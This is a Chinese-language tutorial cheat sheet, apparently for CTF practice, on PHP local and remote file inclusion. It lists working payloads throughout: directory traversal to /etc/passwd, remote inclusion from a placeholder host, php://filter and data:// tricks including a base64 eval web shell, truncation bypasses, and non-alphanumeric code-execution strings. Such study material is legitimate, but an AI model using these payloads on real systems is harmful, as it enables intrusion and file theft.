文件包含漏洞总结

0x01 基本原理

服务端执行用户能控制的脚本或代码,主要有本地文件包含和远程文件包含两种。

常见包含函数有:include()、require()
include()是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
require()是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
require()一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件
include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

无论文件的后缀是什么,只要内容符合php语法,任何扩展名都可以被php解析。

0x02 本地文件包含

payload:?f=../flag.txt
./当前目录
../上一级目录,这样的遍历目录来读取文件
加多个../可保证到达根目录
可以使用file协议绕过对 ../ 的过滤

0x03 远程文件包含

将恶意脚本提前放在远程服务器上,payload:?f=[http:]//xxx.xxx.xxx/xxx.txt
适用情况:allow_url_fopen=On && allow_url_include=On (可通过phpinfo获得)

0x4 利用php流php://filter

参数

  • resource=<要过滤的数据流> : 指定了你要筛选过滤的数据流。 必选
  • read=<读链的筛选列表> : 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
  • write=<写链的筛选列表> : 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
  • <;两个链的筛选列表> : 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

payload:
?file=php://filter/convert.base64-encode/resource=index.php

0x05 利用php流input(post方式发送)

?file=php://input
需要allow_url_include=On

0x06 利用data urls

需要allow_url_include=On
pyload:?file=data://text/plain;base64,base64编码的payload
例如:
http://xxx.xxx.xxx/?filename=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOyA/Pg==
base64解码为:<?php @eval($_POST[‘pass’]); ?>

0x07 绕过

审计中常见:<?php include(“inc/“ . $_GET[‘file’] . “.htm”); ?>等条件限制

%00截断

payload:/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

? 绕过

paload:/etc/passwd?

文件路径截断

/etc/passwd/passwd././././././.[…]/./././././.
/etc/passwd……………………….
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

不包含数字和字母的payload

原理:$_GET[0]($_GET[1]):0为函数名,1为参数

payload:

1
2
3
4
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag  
?code=${%22`{{{%22^%22?%3C%3E/%22}[%27%2b%27]();&%2b=flag
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();

其他文件协议

zip协议:http://php.net/manual/zh/wrappers.compression.php
payload:?file=zip://C:/payload/php.zip%23php.jpg
解析php.jpg是否符合php语法规则,是则执行

phar协议:http://php.net/manual/zh/wrappers.phar.php
自5.30起生效
参考:
https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html

0x06 参考

http://www.cnblogs.com/iamstudy/articles/include_file.html
http://www.freebuf.com/articles/web/119150.html
https://blog.csdn.net/qq_33020901/article/details/78706764
https://www.liuxianglai.top/?p=145
http://blog.51cto.com/tdcqvip/1958654
https://www.freebuf.com/column/148886.html
https://www.cnblogs.com/iamstudy/category/729449.html